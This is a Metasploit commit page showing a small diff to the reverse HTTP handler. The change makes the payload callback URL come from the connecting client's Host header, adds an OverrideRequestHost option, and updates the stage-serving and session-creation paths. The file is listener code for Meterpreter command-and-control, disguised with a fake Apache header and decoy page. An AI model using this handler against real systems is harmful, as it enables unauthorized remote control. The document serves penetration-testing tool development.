Skip to content

Commit cdef992

Browse files
author
HD Moore
committed
Lands rapid7#4912, http handlers will use the client's Host header by default.
2 parents 215c209 + dfbc50f commit cdef992

File tree

1 file changed

+12
-9
lines changed

1 file changed

+12
-9
lines changed

lib/msf/core/handler/reverse_http.rb

Lines changed: 12 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -53,6 +53,7 @@ def initialize(info = {})
5353
OptString.new('MeterpreterServerName', [ false, 'The server header that the handler will send in response to requests', 'Apache' ]),
5454
OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']),
5555
OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]),
56+
OptBool.new('OverrideRequestHost', [ false, 'Forces clients to connect to LHOST:LPORT instead of keeping original payload host', false ]),
5657
OptString.new('HttpUnknownRequestResponse', [ false, 'The returned HTML response body when the handler receives a request that is not from a payload', '<html><body><h1>It works!</h1></body></html>' ])
5758
], Msf::Handler::ReverseHttp)
5859
end
@@ -92,13 +93,15 @@ def listener_uri
9293
# addresses.
9394
#
9495
# @return [String] A URI of the form +scheme://host:port/+
95-
def payload_uri
96-
if ipv6?
97-
callback_host = "[#{datastore['LHOST']}]"
96+
def payload_uri(req)
97+
if req and req.headers and req.headers['Host'] and not datastore['OverrideRequestHost']
98+
callback_host = req.headers['Host']
99+
elsif ipv6?
100+
callback_host = "[#{datastore['LHOST']}]:#{datastore['LPORT']}"
98101
else
99-
callback_host = datastore['LHOST']
102+
callback_host = "#{datastore['LHOST']}:#{datastore['LPORT']}"
100103
end
101-
"#{scheme}://#{callback_host}:#{datastore['LPORT']}/"
104+
"#{scheme}://#{callback_host}/"
102105
end
103106

104107
# Use the {#refname} to determine whether this handler uses SSL or not
@@ -186,7 +189,7 @@ def on_request(cli, req, obj)
186189
case uri_match
187190
when /^\/INITPY/
188191
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
189-
url = payload_uri + conn_id + '/'
192+
url = payload_uri(req) + conn_id + '/'
190193

191194
blob = ""
192195
blob << obj.generate_stage
@@ -221,7 +224,7 @@ def on_request(cli, req, obj)
221224

222225
when /^\/INITJM/
223226
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
224-
url = payload_uri + conn_id + "/\x00"
227+
url = payload_uri(req) + conn_id + "/\x00"
225228

226229
blob = ""
227230
blob << obj.generate_stage
@@ -249,7 +252,7 @@ def on_request(cli, req, obj)
249252

250253
when /^\/A?INITM?/
251254
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
252-
url = payload_uri + conn_id + "/\x00"
255+
url = payload_uri(req) + conn_id + "/\x00"
253256

254257
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
255258
resp['Content-Type'] = 'application/octet-stream'
@@ -294,7 +297,7 @@ def on_request(cli, req, obj)
294297
create_session(cli, {
295298
:passive_dispatcher => obj.service,
296299
:conn_id => conn_id,
297-
:url => payload_uri + conn_id + "/\x00",
300+
:url => payload_uri(req) + conn_id + "/\x00",
298301
:expiration => datastore['SessionExpirationTimeout'].to_i,
299302
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
300303
:ssl => ssl?,

0 commit comments

Comments
 (0)